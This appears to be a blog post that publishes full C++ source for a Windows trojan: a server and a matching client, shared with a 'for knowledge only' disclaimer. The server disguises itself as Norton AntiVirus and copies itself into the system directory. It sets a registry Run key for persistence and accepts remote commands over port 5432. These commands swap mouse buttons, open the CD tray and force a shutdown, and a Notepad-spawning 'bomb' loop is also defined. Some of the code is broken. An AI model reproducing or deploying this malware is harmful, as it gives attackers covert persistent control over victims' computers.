Im sharing it only for knowledge and no bad intentions.Please don't use it in bad purposes.
***** CODE FOR SERVER FOLLOWS *********
#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;
char Windir[MAX_PATH];
char Module[MAX_PATH];
SOCKET Socket;
void Hide()
{
SetConsoleTitle("Norton AntiVirus");
hide = FindWindow(NULL, "Norton AntiVirus");
ShowWindow(hide, 0);
}
void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, "\\WindowsAPICalls.exe");
}
void Install()
{
CopyFile(Module,Windir,0);
HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}
int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << "Winsock initialized." << "\n";
}
Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << "Socket created." << "\n";
}
sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);
if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}
else
{
cout << "Socket bound successfully." << "\n";
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << "Error listening on socket." << "\n";
SOCKET AcceptSocket;
cout << "Waiting for a client to connect..." << "\n";
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << "Client Connected."<< "\n";
Socket = AcceptSocket;
}
void Shutdown()
{
char Message[MAX_PATH]="Your computer is infected with a malicious virus!";
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}
void OpenCloseCDTray()
{
mciSendString("set cdaudio door open", 0, 0, 0);
mciSendString("set cdaudio door open", 0, 0, 0);
}
void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]="notepad.exe";
for(;;)
{
ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
}
}
void LeftMouse()
{
SwapMouseButton(true);
}
void RightMouse()
{
SwapMouseButton(false);
}
void Receive()
{
for(;;)
{
char Choice[MAX_PATH]="";
cout << "Waiting for commands, sir!" << "\n";
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << "\n";
if (!strcmp(Choice,"1"))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,"2"))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,"3"))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={"CD Tray opened. Closed if not on a laptop."};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,"4"))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}
int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}
***** CODE FOR CLIENT FOLLOWS *********
#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;
SOCKET Socket;
int ClientInitialize()
{
char IP[MAX_PATH];
cout << "Enter IP: ";
cin >> IP;
WSADATA wsaData;
int iResult;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
cout << "Error at WSAStartup()\n";
cin.ignore();
return 0;
}
else
{
cout << "Winsock intialized.\n";
}
Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (Socket == INVALID_SOCKET)
{
cout << "Error at socket(): %ld\n",WSAGetLastError();
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << "Socket initialized" << "\n";
}
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( IP );
clientService.sin_port = htons(5432);
if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
{
cout << "Failed to connect.\n";
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << "Connected to server." << "\n";
}
}
int exit()
{
return 0;
}
void Send()
{
for(;;)
{
char Choice[MAX_PATH];
cout << "List of commands:" << "\n";
cout << "1. Left Mouse" << "\n" << "2. Right Mouse" << "\n";
cout << "3. Open\\Close CD Tray" << "\n" << "4. Notepad Bomb" << "\n";
cout << "5. Shutdown." << "\n";
cout << "Take your pick: ";
cin >> Choice;
send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
char ServerResponse[MAX_PATH];
recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
cout << "\n" << "\n" << "Command successful!" << "\n" << ServerResponse;
cout << "\n" << "\n" << "\n" << "\n" << "\n";
Sleep(2000);
}
}
int main()
{
SetConsoleTitle(".=.quickbolt's Trojan.=.");
ClientInitialize();
Send();
cin.ignore();
return 0;
}
No comments:
Post a Comment